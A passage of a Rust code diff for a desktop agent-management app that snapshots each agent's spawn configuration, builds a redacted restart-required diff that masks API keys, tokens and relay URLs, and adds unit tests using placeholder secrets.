/// comparison and the diff walk read, so a lit badge always has a + /// non-empty diff and vice versa. + /// + /// Infallible by the serialization invariants documented on the struct + /// (plain derive over strings, scalars, string maps, and string vectors); + /// a failure here is a broken invariant, never a runtime condition, so it + /// must not degrade into an empty diff. + pub(crate) fn canonical(&self) -> serde_json::Value { + serde_json::to_value(self).expect("SpawnConfigSnapshot serializes infallibly") + } +} + +impl std::fmt::Debug for SpawnConfigSnapshot { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!( + f, + "SpawnConfigSnapshot({})", + diff::redacted_canonical(&self.canonical()) + ) + } +} + +/// Snapshot the effective spawn configuration `record` would get if it were +/// started right now under the current `personas`/`teams`/`global`, resolving +/// a blank record relay against `workspace_relay`. +/// +/// Pure — no `AppHandle`, no disk, no keyring. This is the *prospective* side +/// of the comparison; the stamped side is built at spawn from the values that +/// actually fed the child's `Command`. +pub(crate) fn prospective_spawn_config_snapshot( + record: &ManagedAgentRecord, + personas: &[AgentDefinition], + teams: &[TeamRecord], + workspace_relay: &str, + global: &GlobalAgentConfig, +) -> SpawnConfigSnapshot { + // Prospective re-snapshot: apply the same `apply_persona_snapshot` the + // start/restore paths run right before spawning, so this describes what a + // restart would actually run. Idempotent, so a spawn-time stamp taken + // after those paths saved the record compares equal when nothing changed. + // The persona env itself arrives through the descriptor's layered env + // below; `persona_source_version` is set on the clone but is not an input. + let record = preview_prospective_persona_snapshot(record, personas); + let record = &record; + + // Resolve command, args, and env via the single typed descriptor — same + // path as spawn_agent_child. Dangling harness id falls back to the + // infallible record_agent_command (no-op: a dangling harness can't be + // spawned, so the snapshot never matters for that agent). + let descriptor = + crate::managed_agents::resolve_effective_harness_descriptor(record, personas, global) + .unwrap_or_else(|_| { + let command = crate::managed_agents::record_agent_command(record, personas); + let args = normalize_agent_args(&command, record.agent_args.clone()); + EffectiveHarnessDescriptor { + command, + args, + env: Default::default(), + } + }); + + // Prompt, model, and provider all come from ONE `resolve_effective_config` + // call — the SAME resolve `spawn_agent_child` performs for the env write, + // so env write and this badge cannot disagree. An orphaned link (missing + // definition) resolves as if all three were absent: `spawn_agent_child` + // refuses to spawn an orphan regardless, and `eligible_restart_diff` + // suppresses the badge for one. + let (prompt, model, provider) = match resolve_effective_config(record, personas, global) { + EffectiveConfigResult::Resolved(cfg) => { + (cfg.system_prompt.value, cfg.model.value, cfg.provider.value) + } + EffectiveConfigResult::OrphanedInstance { .. } => (None, None, None), + }; + + SpawnConfigSnapshot::from_inputs(SpawnConfigInputs { + record, + descriptor: &descriptor, + // Resolved, not stored: every record spawns on the workspace relay + // (legacy pins ignored), so a workspace relay change must badge. + relay_url: &crate::relay::effective_agent_relay_url(&record.relay_url, workspace_relay), + team_instructions: effective_team_instructions(record, teams).as_deref(), + system_prompt: prompt.as_deref(), + model: model.as_deref(), + provider: provider.as_deref(), + }) +} + +#[cfg(test)] +mod tests; diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs new file mode 100644 index 0000000000..a61eb92e2e --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs @@ -0,0 +1,307 @@ +//! Redacted field-by-field diff of two [`SpawnConfigSnapshot`]s. +//! +//! The walk is generic over the snapshot's canonical JSON: it compares leaves +//! by path and emits one entry per inequality. Adding a field to +//! [`SpawnConfigSnapshot`] therefore reaches the UI with no change here — the +//! only per-path knowledge in this module is [`policy_for`], which decides how +//! a leaf may be *shown*, never which leaves are compared. +//! +//! Raw values drive comparison; redaction happens strictly afterwards, when +//! the serializable entry is built. Comparing masked forms would let two +//! secrets with colliding suffixes read as "no drift". + +use serde::Serialize; +use serde_json::{Map, Value}; + +use super::SpawnConfigSnapshot; +use crate::managed_agents::AcpAvailabilityStatus; + +/// Synthetic field id for adapter-availability drift, which lives outside the +/// snapshot: it describes the environment around the process, not the config +/// the process was spawned with. +const ADAPTER_AVAILABILITY_FIELD: &str = "adapter_availability"; + +const MASK: &str = "••••"; + +/// One changed field. `field` is a dotted path built from serde field names, +/// with dynamic map keys appended verbatim (`env.OPENAI_API_KEY`). The UI +/// humanizes it generically and must never switch on its value. +#[derive(Debug, Clone, PartialEq, Serialize)] +pub struct RestartDiffEntry { + pub field: String, + pub change: RestartChange, +} + +/// How a changed field is presented. The UI switches on `kind` — a closed set +/// — and renders any `field` path. +#[derive(Debug, Clone, PartialEq, Serialize)] +#[serde(tag = "kind", rename_all = "snake_case")] +pub enum RestartChange { + /// Safe scalar or array shown verbatim. `null` means absent. + Value { before: Value, after: Value }, + /// Large text shown as character counts only. `null` means absent. + Text { + before_chars: Option, + after_chars: Option, + }, + /// Secret-bearing leaf. `null` means absent. + Masked { + before: Option, + after: Option, + }, + /// Dynamic-map key present only on the new side. No payload — the value + /// would be secret-bearing and the key name alone is the useful signal. + Added, + /// Dynamic-map key present only on the old side. + Removed, +} + +/// How a leaf at `path` may be displayed. +#[derive(Clone, Copy, PartialEq)] +enum MaskPolicy { + /// Shown verbatim. + Plain, + /// Character counts only. + Text, + /// `••••` plus the last four characters when longer than eight. + MaskedSuffix, + /// `••••` and nothing else. + MaskedBare, +} + +/// The single redaction authority: the wire diff and the snapshot's `Debug` +/// both route every leaf through this. +/// +/// A new snapshot field needs an arm here only if it can carry a credential or +/// is too large to render; everything else falls through to `Plain`. +fn policy_for(path: &str) -> MaskPolicy { + match path { + // Arbitrary user text — a rendered before/after would be unbounded as + // well as unreadable. + "system_prompt" | "team_instructions" => MaskPolicy::Text, + // Arbitrary CLI arguments: `--token=...` is legal, so no part of the + // value may be disclosed. Same for the relay URL — `normalize_relay_url` + // rejects userinfo but deliberately preserves query strings, so + // `wss://relay.example/ws?token=...` is a valid value. + "args" | "relay_url" => MaskPolicy::MaskedBare, + // NIP-OA auth tag: a credential, but a suffix tells the user which tag + // they are looking at. + "auth_tag" => MaskPolicy::MaskedSuffix, + // Env values: consult the shared allowlist. Allowlisted keys (e.g. + // `BUZZ_AGENT_THINKING_EFFORT`) render plain so the user sees the + // actual enum values; every other env key stays masked. + _ if path.starts_with("env.") => { + let key = &path[4..]; + if crate::managed_agents::is_safe_to_reveal(key) { + MaskPolicy::Plain + } else { + MaskPolicy::MaskedSuffix + } + } + // Plain arm. Every path reaching it is already rendered verbatim in + // the runtime UI today: + // acp_command / command / mcp_command — resolved binary names + // session_title — display chrome + // model / provider — catalog ids + // respond_to / respond_to_allowlist — gate mode + pubkeys + // idle_timeout_seconds / max_turn_duration_seconds / parallelism + // — numeric limits + // adapter_availability — an enum variant name + _ => MaskPolicy::Plain, + } +} + +/// `••••` plus the last four characters, or a bare `••••` when the value is +/// short enough that a suffix would disclose too much of it. +/// +/// Character-based throughout: byte slicing can panic on a multi-byte value or +/// disclose the wrong suffix. +fn mask(value: &str) -> String { + let chars: Vec = value.chars().collect(); + match chars.len() { + len if len > 8 => format!("{MASK}{}", chars[len - 4..].iter().collect::()), + _ => MASK.to_string(), + } +} + +/// Character count of a text leaf; `None` when the leaf is absent. +fn char_count(value: &Value) -> Option { + match value { + Value::Null => None, + Value::String(text) => Some(text.chars().count()), + // Fail closed on an unexpected shape: count it, never show it. + other => Some(other.to_string().chars().count()), + } +} + +/// Masked rendering of a leaf; `None` when the leaf is absent. +fn masked(policy: MaskPolicy, value: &Value) -> Option { + match (policy, value) { + (_, Value::Null) => None, + (MaskPolicy::MaskedSuffix, Value::String(text)) => Some(mask(text)), + // Fail closed: an unexpected shape under a redacting policy still + // redacts rather than disclosing the raw value. + _ => Some(MASK.to_string()), + } +} + +fn change_for(policy: MaskPolicy, before: &Value, after: &Value) -> RestartChange { + match policy { + MaskPolicy::Plain => RestartChange::Value { + before: before.clone(), + after: after.clone(), + }, + MaskPolicy::Text => RestartChange::Text { + before_chars: char_count(before), + after_chars: char_count(after), + }, + MaskPolicy::MaskedSuffix | MaskPolicy::MaskedBare => RestartChange::Masked { + before: masked(policy, before), + after: masked(policy, after), + }, + } +} + +/// Lexicographically sorted union of both maps' keys, so entry order — and +/// therefore the UI's "first N plus and-N-more" truncation — is stable. +fn key_union<'a>(before: &'a Map, after: &'a Map) -> Vec<&'a str> { + let mut keys: Vec<&str> = before + .keys() + .chain(after.keys()) + .map(String::as_str) + .collect(); + keys.sort_unstable(); + keys.dedup(); + keys +} + +fn child_path(parent: &str, key: &str) -> String { + if parent.is_empty() { + key.to_string() + } else { + format!("{parent}.{key}") + } +} + +fn walk( + path: &str, + before: Option<&Value>, + after: Option<&Value>, + out: &mut Vec, +) { + match (before, after) { + (before, after) if before == after => {} + // Present on one side only. Struct fields are always present (`None` + // serializes as `null`), so this is dynamic-map membership. + (None, Some(_)) => out.push(RestartDiffEntry { + field: path.to_string(), + change: RestartChange::Added, + }), + (Some(_), None) => out.push(RestartDiffEntry { + field: path.to_string(), + change: RestartChange::Removed, + }), + (Some(Value::Object(before)), Some(Value::Object(after))) => { + for key in key_union(before, after) { + walk(&child_path(path, key), before.get(key), after.get(key), out); + } + } + // Everything else is a leaf: scalars, and arrays (atomic — `args` + // changed as a whole, never `args.0`). + (before, after) => out.push(RestartDiffEntry { + field: path.to_string(), + change: change_for( + policy_for(path), + before.unwrap_or(&Value::Null), + after.unwrap_or(&Value::Null), + ), + }), + } +} + +/// The redacted diff of two snapshots, in stable path order. +fn diff(before: &SpawnConfigSnapshot, after: &SpawnConfigSnapshot) -> Vec { + let mut entries = Vec::new(); + walk( + "", + Some(&before.canonical()), + Some(&after.canonical()), + &mut entries, + ); + entries +} + +fn availability_value(status: Option<&AcpAvailabilityStatus>) -> Value { + status + .and_then(|status| serde_json::to_value(status).ok()) + .unwrap_or(Value::Null) +} + +/// What a tracked runtime was launched with, paired with what a launch would +/// use now. Absent (`None` at the call site) for every agent this workspace +/// tracks no live pair for — stopped, or `runtime_pid`-adopted across an app +/// restart, whose spawn config was never stamped and so can never be shown to +/// have drifted. +pub(crate) struct TrackedSpawnState<'a> { + pub stamped: &'a SpawnConfigSnapshot, + pub current: &'a SpawnConfigSnapshot, + pub stamped_availability: Option<&'a AcpAvailabilityStatus>, + pub current_availability: Option, +} + +/// The final restart-diff for one agent — the single source of both the wire +/// field and the badge, which is `!result.is_empty()`. +/// +/// Empty for an un-stamped agent (see [`TrackedSpawnState`]) and for an +/// orphaned instance: `spawn_agent_child` refuses to spawn an orphan before +/// any side effect, so "Restart required" would offer an action guaranteed to +/// fail. The UI surfaces `persona_orphaned` instead. +pub(crate) fn eligible_restart_diff( + persona_orphaned: bool, + tracked: Option>, +) -> Vec { + let Some(tracked) = tracked.filter(|_| !persona_orphaned) else { + return Vec::new(); + }; + let mut entries = diff(tracked.stamped, tracked.current); + if crate::managed_agents::availability_drift( + tracked.stamped_availability, + tracked.current_availability.clone(), + ) { + entries.push(RestartDiffEntry { + field: ADAPTER_AVAILABILITY_FIELD.to_string(), + change: RestartChange::Value { + before: availability_value(tracked.stamped_availability), + after: availability_value(tracked.current_availability.as_ref()), + }, + }); + } + entries +} + +/// The canonical snapshot with every leaf passed through [`policy_for`], +/// rendered as JSON text. Backs `SpawnConfigSnapshot`'s manual `Debug` so a +/// log line can never disclose what the wire diff redacts. +pub(crate) fn redacted_canonical(value: &Value) -> String { + fn redact(path: &str, value: &Value) -> Value { + match value { + Value::Object(fields) => Value::Object( + fields + .iter() + .map(|(key, child)| (key.clone(), redact(&child_path(path, key), child))) + .collect(), + ), + leaf => match policy_for(path) { + MaskPolicy::Plain => leaf.clone(), + MaskPolicy::Text => char_count(leaf).map_or(Value::Null, |count| { + Value::String(format!("<{count} chars>")) + }), + policy => masked(policy, leaf).map_or(Value::Null, Value::String), + }, + } + } + redact("", value).to_string() +} + +#[cfg(test)] +mod tests; diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs new file mode 100644 index 0000000000..a7a8cab93e --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs @@ -0,0 +1,572 @@ +use super::*; +use std::collections::{BTreeMap, BTreeSet}; + +const SECRET: &str = "sk-live-SENTINEL-0000"; +const RELAY_WITH_TOKEN: &str = "wss://relay.example/ws?token=SENTINEL"; + +/// Every field populated, so mutating one to `None` is a real change and the +/// coverage guard below sees the full serialized key set. +fn base() -> SpawnConfigSnapshot { + SpawnConfigSnapshot { + acp_command: "buzz-acp".into(), + command: "goose".into(), + args: vec!["--mode".into(), "acp".into()], + mcp_command: "goose-mcp".into(), + env: BTreeMap::from([ + ("OPENAI_API_KEY".to_string(), SECRET.to_string()), + ("BUZZ_LOG".to_string(), "info".to_string()), + ]), + relay_url: "wss://relay.example".into(), + team_instructions: Some("Team says hello.".into()), + system_prompt: Some("You are a test agent.".into()), + model: Some("gpt-5".into()), + provider: Some("openai".into()), + session_title: Some("Fizz".into()), + auth_tag: Some("tag-abcdefgh".into()), + respond_to: "owner-only".into(), + respond_to_allowlist: Some(vec!["a".repeat(64)]), + idle_timeout_seconds: Some(600), + max_turn_duration_seconds: Some(7200), + parallelism: 1, + } +} + +fn fields(entries: &[RestartDiffEntry]) -> Vec<&str> { + entries.iter().map(|entry| entry.field.as_str()).collect() +} + +fn change_at<'a>(entries: &'a [RestartDiffEntry], field: &str) -> &'a RestartChange { + &entries + .iter() + .find(|entry| entry.field == field) + .unwrap_or_else(|| panic!("no entry for {field}; got {:?}", fields(entries))) + .change +} + +/// One mutation per snapshot field, keyed by the diff path it must produce. +type Mutation = (&'static str, fn(&mut SpawnConfigSnapshot)); + +fn mutations() -> Vec { + vec![ + ("acp_command", |s| s.acp_command = "other-acp".into()), + ("command", |s| s.command = "claude".into()), + ("args", |s| s.args = vec!["--other".into()]), + ("mcp_command", |s| s.mcp_command = String::new()), + ("env.OPENAI_API_KEY", |s| { + s.env + .insert("OPENAI_API_KEY".into(), "sk-live-rotated-9999".into()); + }), + ("relay_url", |s| s.relay_url = "wss://other.example".into()), + ("team_instructions", |s| s.team_instructions = None), + ("system_prompt", |s| s.system_prompt = None), + ("model", |s| s.model = None), + ("provider", |s| s.provider = None), + ("session_title", |s| s.session_title = None), + ("auth_tag", |s| s.auth_tag = None), + ("respond_to", |s| s.respond_to = "anyone".into()), + ("respond_to_allowlist", |s| s.respond_to_allowlist = None), + ("idle_timeout_seconds", |s| s.idle_timeout_seconds = None), + ("max_turn_duration_seconds", |s| { + s.max_turn_duration_seconds = None + }), + ("parallelism", |s| s.parallelism = 8), + ] +} + +#[test] +fn every_field_mutation_drifts_the_canonical_value_and_names_that_field() { + for (field, mutate) in mutations() { + let before = base(); + let mut after = base(); + mutate(&mut after); + + assert_ne!( + before.canonical(), + after.canonical(), + "{field}: mutation must move the canonical value the badge compares" + ); + assert_eq!( + fields(&diff(&before, &after)), + vec![field], + "{field}: mutation must produce exactly that field's entry" + ); + // Both directions: `None -> Some` must be as visible as `Some -> None`. + assert_eq!( + fields(&diff(&after, &before)), + vec![field], + "{field}: reverse mutation must be equally visible" + ); + } +} + +#[test] +fn mutation_table_covers_every_serialized_field() { + let covered: BTreeSet<&str> = mutations() + .iter() + .map(|(field, _)| field.split('.').next().expect("non-empty path")) + .collect(); + let canonical = base().canonical(); + let serialized: BTreeSet<&str> = canonical + .as_object() + .expect("snapshot serializes as an object") + .keys() + .map(String::as_str) + .collect(); + assert_eq!( + covered, serialized, + "add a mutation row for every new snapshot field" + ); +} + +#[test] +fn identical_snapshots_produce_no_entries() { + assert!(diff(&base(), &base()).is_empty()); +} + +#[test] +fn env_map_insertion_order_is_not_drift() { + let mut reordered = base(); + reordered.env = base().env.into_iter().rev().collect(); + assert!(diff(&base(), &reordered).is_empty()); +} + +#[test] +fn entries_are_ordered_lexicographically_by_path() { + let mut after = base(); + after.parallelism = 4; + after.command = "claude".into(); + after.env.insert("ZZZ".into(), "1".into()); + after.env.insert("AAA".into(), "1".into()); + assert_eq!( + fields(&diff(&base(), &after)), + vec!["command", "env.AAA", "env.ZZZ", "parallelism"] + ); +} + +// ── map membership vs. nullable struct fields ──────────────────────────── + +#[test] +fn env_key_insertion_is_added_without_a_payload() { + let mut after = base(); + after.env.insert("NEW_KEY".into(), SECRET.into()); + assert_eq!( + change_at(&diff(&base(), &after), "env.NEW_KEY"), + &RestartChange::Added + ); +} + +#[test] +fn env_key_removal_is_removed_without_a_payload() { + let mut after = base(); + after.env.remove("BUZZ_LOG"); + assert_eq!( + change_at(&diff(&base(), &after), "env.BUZZ_LOG"), + &RestartChange::Removed + ); +} + +#[test] +fn cleared_nullable_field_stays_a_value_change_not_a_removal() { + let mut after = base(); + after.model = None; + assert_eq!( + change_at(&diff(&base(), &after), "model"), + &RestartChange::Value { + before: Value::String("gpt-5".into()), + after: Value::Null, + } + ); +} + +#[test] +fn array_field_changes_as_one_atomic_leaf() { + let mut after = base(); + after.respond_to_allowlist = Some(vec!["b".repeat(64)]); + let entries = diff(&base(), &after); + assert_eq!(fields(&entries), vec!["respond_to_allowlist"]); + assert!(matches!( + change_at(&entries, "respond_to_allowlist"), + RestartChange::Value { .. } + )); +} + +#[test] +fn allowlisted_env_key_shows_plain_value() { + // BUZZ_AGENT_THINKING_EFFORT is on the safe-to-reveal allowlist — the user + // must be able to see actual enum values like "medium → high". + let mut before = base(); + before + .env + .insert("BUZZ_AGENT_THINKING_EFFORT".into(), "medium".into()); + let mut after = before.clone(); + after + .env + .insert("BUZZ_AGENT_THINKING_EFFORT".into(), "high".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.BUZZ_AGENT_THINKING_EFFORT"), + &RestartChange::Value { + before: Value::String("medium".into()), + after: Value::String("high".into()), + }, + "allowlisted env key must render plain before/after values" + ); +} + +#[test] +fn allowlisted_env_key_is_case_insensitive() { + // The allowlist comparison is case-insensitive; lowercase path must also + // render plain. + let mut before = base(); + before + .env + .insert("buzz_agent_provider".into(), "anthropic".into()); + let mut after = before.clone(); + after + .env + .insert("buzz_agent_provider".into(), "openai".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.buzz_agent_provider"), + &RestartChange::Value { + before: Value::String("anthropic".into()), + after: Value::String("openai".into()), + }, + "allowlist match must be case-insensitive" + ); +} + +#[test] +fn non_allowlisted_env_key_stays_masked() { + // A key not in the allowlist must remain masked regardless of its name. + let mut after = base(); + after + .env + .insert("SOME_API_KEY".into(), "sk-live-rotated-9999".into()); + // SOME_API_KEY is a new key — starts as Added, not a value change. + // Use an existing env key (OPENAI_API_KEY is in base()) to test masking. + let mut before = base(); + before + .env + .insert("OPENAI_API_KEY".into(), "sk-live-SENTINEL-0000".into()); + let mut after2 = before.clone(); + after2 + .env + .insert("OPENAI_API_KEY".into(), "sk-live-rotated-9999".into()); + assert!( + matches!( + change_at(&diff(&before, &after2), "env.OPENAI_API_KEY"), + RestartChange::Masked { .. } + ), + "non-allowlisted env key must stay masked" + ); +} + +// ── masking policy ─────────────────────────────────────────────────────── + +#[test] +fn env_value_longer_than_eight_chars_shows_a_four_char_suffix() { + let mut after = base(); + after + .env + .insert("OPENAI_API_KEY".into(), "abcdefghi".into()); + assert_eq!( + change_at(&diff(&base(), &after), "env.OPENAI_API_KEY"), + &RestartChange::Masked { + before: Some("••••0000".into()), + after: Some("••••fghi".into()), + } + ); +} + +#[test] +fn env_value_of_exactly_eight_chars_shows_no_suffix() { + let mut before = base(); + before + .env + .insert("OPENAI_API_KEY".into(), "abcdefgh".into()); + let mut after = before.clone(); + after.env.insert("OPENAI_API_KEY".into(), "12345678".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.OPENAI_API_KEY"), + &RestartChange::Masked { + before: Some("••••".into()), + after: Some("••••".into()), + } + ); +} + +#[test] +fn masking_counts_characters_not_bytes() { + // Nine two-byte characters: a byte-based length test would call this + // short, and byte slicing the last four would split a code point. + let mut before = base(); + before.env.insert("K".into(), "áéíóúàèìò".into()); + let mut after = before.clone(); + after.env.insert("K".into(), "áéíóúàèìá".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.K"), + &RestartChange::Masked { + before: Some("••••àèìò".into()), + after: Some("••••àèìá".into()), + } + ); +} + +#[test] +fn args_are_masked_without_any_suffix() { + let mut after = base(); + after.args = vec![format!("--token={SECRET}")]; + assert_eq!( + change_at(&diff(&base(), &after), "args"), + &RestartChange::Masked { + before: Some("••••".into()), + after: Some("••••".into()), + } + ); +} + +#[test] +fn relay_url_is_masked_without_any_suffix() { + let mut after = base(); + after.relay_url = RELAY_WITH_TOKEN.into(); + assert_eq!( + change_at(&diff(&base(), &after), "relay_url"), + &RestartChange::Masked { + before: Some("••••".into()), + after: Some("••••".into()), + } + ); +} + +#[test] +fn auth_tag_is_masked_with_a_suffix() { + let mut after = base(); + after.auth_tag = Some("tag-ijklmnop".into()); + assert_eq!( + change_at(&diff(&base(), &after), "auth_tag"), + &RestartChange::Masked { + before: Some("••••efgh".into()), + after: Some("••••mnop".into()), + } + ); +} + +#[test] +fn large_text_fields_report_character_counts_only() { + let mut after = base(); + after.system_prompt = Some("Longer replacement prompt.".into()); + after.team_instructions = None; + let entries = diff(&base(), &after); + assert_eq!( + change_at(&entries, "system_prompt"), + &RestartChange::Text { + before_chars: Some("You are a test agent.".chars().count()), + after_chars: Some("Longer replacement prompt.".chars().count()), + } + ); + assert_eq!( + change_at(&entries, "team_instructions"), + &RestartChange::Text { + before_chars: Some("Team says hello.".chars().count()), + after_chars: None, + } + ); +} + +// ── secrecy sentinels ──────────────────────────────────────────────────── + +/// A snapshot whose every secret-bearing leaf carries a sentinel. +fn seeded_with_sentinels() -> SpawnConfigSnapshot { + let mut snapshot = base(); + snapshot.relay_url = RELAY_WITH_TOKEN.into(); + snapshot.args = vec![format!("--token={SECRET}")]; + snapshot.auth_tag = Some(SECRET.into()); + snapshot.env.insert("OPENAI_API_KEY".into(), SECRET.into()); + snapshot +} + +/// Every sentinel-bearing leaf changed, plus an added key, so each masking +/// arm has to redact a real value. +fn rotated_sentinels() -> SpawnConfigSnapshot { + let mut snapshot = seeded_with_sentinels(); + snapshot.relay_url = format!("{RELAY_WITH_TOKEN}2"); + snapshot.args = vec![format!("--token={SECRET}2")]; + snapshot.auth_tag = Some(format!("{SECRET}2")); + snapshot + .env + .insert("OPENAI_API_KEY".into(), format!("{SECRET}2")); + snapshot.env.insert("ADDED".into(), SECRET.into()); + snapshot +} + +#[test] +fn no_sentinel_reaches_the_serialized_diff() { + let entries = diff(&seeded_with_sentinels(), &rotated_sentinels()); + assert!(!entries.is_empty(), "fixture must actually drift"); + let wire = serde_json::to_string(&entries).expect("diff serializes"); + assert!(!wire.contains("SENTINEL"), "diff leaked a secret: {wire}"); + assert!( + !wire.contains("token="), + "diff leaked a query token: {wire}" + ); +} + +#[test] +fn no_sentinel_reaches_snapshot_debug_output() { + let rendered = format!("{:?}", seeded_with_sentinels()); + assert!(!rendered.contains("SENTINEL"), "Debug leaked: {rendered}"); + assert!(!rendered.contains("token="), "Debug leaked: {rendered}"); + // Large text is summarized rather than dumped. + assert!(!rendered.contains("You are a test agent.")); + // Non-secret leaves stay legible, or the log line is useless. + assert!(rendered.contains("goose")); +} + +#[test] +fn no_sentinel_reaches_the_owning_process_debug_output() { + // `ManagedAgentProcess` derives `Debug` and delegates to the snapshot's + // manual impl — this pins that the derive can never become the leak path. + #[cfg(unix)] + let program = "/usr/bin/true"; + #[cfg(windows)] + let program = "true"; + let child = std::process::Command::new(program) + .stdin(std::process::Stdio::null()) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .spawn() + .expect("spawn placeholder child"); + let process = crate::managed_agents::ManagedAgentProcess { + child, + log_path: std::path::PathBuf::new(), + spawn_config: seeded_with_sentinels(), + setup_mode: false, + adapter_availability: None, + start_nonce: "test-nonce".to_string(), + #[cfg(windows)] + job: None, + }; + let rendered = format!("{process:?}"); + assert!( + !rendered.contains("SENTINEL"), + "process Debug leaked a secret" + ); + assert!( + !rendered.contains("token="), + "process Debug leaked a query token" + ); +} + +// ── B1: the eligible vector is the single source of the badge ──────────── + +fn eligible( + orphaned: bool, + stamped: &SpawnConfigSnapshot, + current: &SpawnConfigSnapshot, + stamped_availability: Option, + current_availability: Option, +) -> (bool, Vec) { + let entries = eligible_restart_diff( + orphaned, + Some(TrackedSpawnState { + stamped, + current, + stamped_availability: stamped_availability.as_ref(), + current_availability, + }), + ); + (!entries.is_empty(), entries) +} + +#[test] +fn no_drift_yields_no_badge_and_no_entries() { + let (needs_restart, entries) = eligible(false, &base(), &base(), None, None); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn snapshot_drift_yields_a_badge_and_that_entry() { + let mut current = base(); + current.model = Some("claude-4".into()); + let (needs_restart, entries) = eligible(false, &base(), ¤t, None, None); + assert!(needs_restart); + assert_eq!(fields(&entries), vec!["model"]); +} + +#[test] +fn availability_drift_alone_yields_a_badge_and_its_synthetic_entry() { + let (needs_restart, entries) = eligible( + false, + &base(), + &base(), + Some(AcpAvailabilityStatus::Available), + Some(AcpAvailabilityStatus::AdapterOutdated), + ); + assert!(needs_restart); + assert_eq!(fields(&entries), vec!["adapter_availability"]); + assert_eq!( + change_at(&entries, "adapter_availability"), + &RestartChange::Value { + before: Value::String("available".into()), + after: Value::String("adapter_outdated".into()), + } + ); +} + +#[test] +fn orphan_with_snapshot_drift_yields_no_badge_and_no_entries() { + let mut current = base(); + current.model = Some("claude-4".into()); + let (needs_restart, entries) = eligible(true, &base(), ¤t, None, None); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn orphan_with_availability_drift_yields_no_badge_and_no_entries() { + let (needs_restart, entries) = eligible( + true, + &base(), + &base(), + Some(AcpAvailabilityStatus::Available), + Some(AcpAvailabilityStatus::AdapterOutdated), + ); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn unstamped_availability_is_not_drift() { + // A runtime without a version gate stamps no availability; comparing that + // absence against a freshly cached value must not invent a badge. + let (needs_restart, entries) = eligible( + false, + &base(), + &base(), + None, + Some(AcpAvailabilityStatus::AdapterOutdated), + ); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn unstamped_agent_yields_no_badge_and_no_entries() { + // A `runtime_pid`-adopted process — and any agent this workspace tracks no + // live pair for — has no `ManagedAgentProcess`, so no spawn config was ever + // stamped. With nothing to compare against there is no drift to report, and + // the badge derives from that emptiness. Distinct from the case above, + // where a real pair IS tracked and only its availability stamp is absent. + for orphaned in [false, true] { + let entries = eligible_restart_diff(orphaned, None); + let needs_restart = !entries.is_empty(); + assert!( + entries.is_empty(), + "unstamped agent (orphaned={orphaned}) must report no changed fields" + ); + assert!( + !needs_restart, + "unstamped agent (orphaned={orphaned}) must not light the badge" + ); + } +} diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs similarity index 68% rename from desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs rename to desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs index f4ad404814..d76605ecff 100644 --- a/desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs @@ -2,6 +2,19 @@ use super::*; use crate::managed_agents::types::RespondTo; use std::collections::BTreeMap; +/// Canonical projection of a prospective snapshot — the exact value the drift +/// comparison reads, so these tests assert on drift itself rather than on a +/// proxy for it. +fn snapshot( + record: &ManagedAgentRecord, + personas: &[AgentDefinition], + teams: &[TeamRecord], + workspace_relay: &str, + global: &GlobalAgentConfig, +) -> serde_json::Value { + prospective_spawn_config_snapshot(record, personas, teams, workspace_relay, global).canonical() +} + fn record() -> ManagedAgentRecord { ManagedAgentRecord { pubkey: "p".repeat(64), @@ -86,22 +99,22 @@ fn persona(id: &str, runtime: Option<&str>, prompt: &str) -> AgentDefinition { } #[test] -fn hash_is_deterministic() { +fn snapshot_is_deterministic() { let rec = record(); assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn materializing_runtime_keeps_hash_stable() { +fn materializing_runtime_keeps_snapshot_stable() { // Migration cutover invariant (Phase 1A): materializing the linked - // persona's runtime onto the record must NOT change the spawn hash — + // persona's runtime onto the record must NOT change the spawn snapshot — // otherwise every running persona-linked agent would show a spurious // restart badge right after migration. Pre-migration the command resolves // through the persona fallback; post-migration through record.runtime. - // Same persona, same runtime, same command → same hash. + // Same persona, same runtime, same command → equal snapshots. let personas = vec![persona("p1", Some("goose"), "Persona prompt.")]; let mut pre = record(); @@ -111,14 +124,14 @@ fn materializing_runtime_keeps_hash_stable() { post.runtime = Some("goose".into()); assert_eq!( - spawn_config_hash( + snapshot( &pre, &personas, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &post, &personas, &[], @@ -129,31 +142,31 @@ fn materializing_runtime_keeps_hash_stable() { } #[test] -fn record_env_var_edit_changes_hash() { +fn record_env_var_edit_changes_snapshot() { let rec = record(); let mut edited = record(); edited .env_vars .insert("SOME_KEY".into(), "some-value".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn record_prompt_edit_changes_hash() { +fn record_prompt_edit_changes_snapshot() { let rec = record(); let mut edited = record(); edited.system_prompt = 